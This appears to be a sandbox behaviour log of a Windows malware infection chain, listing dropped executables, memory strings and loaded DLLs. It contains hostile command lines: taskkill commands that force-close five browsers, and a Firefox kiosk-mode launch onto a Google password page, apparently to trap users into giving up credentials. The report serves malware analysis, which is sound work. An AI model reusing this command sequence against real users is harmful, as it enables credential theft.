Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2079214427.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2066509554.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2066881669.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2349972696.000000001D540000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2352976688.00000000013AC000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2324652240.000000000135E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2332942897.000000001D524000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3000594956.00000000052A9000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.0000000005289000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3026532048.00000000052AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: RIHOEX26J337XMDAUSF1C246W.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe "C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe "C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe"
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe "C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0b4faddb-860d-4b71-a829-afd66ea2d4d8} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee1ea6df10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4224 -parentBuildID 20230927232528 -prefsHandle 3972 -prefMapHandle 4020 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6cd9aed-375f-4196-afd9-d6d064195543} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee31012010 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe "C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe "C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe "C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe "C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe "C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe "C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe "C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe "C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe "C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe"
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0b4faddb-860d-4b71-a829-afd66ea2d4d8} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee1ea6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4224 -parentBuildID 20230927232528 -prefsHandle 3972 -prefMapHandle 4020 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6cd9aed-375f-4196-afd9-d6d064195543} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee31012010 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: mswsock.dll	Jump to behavior
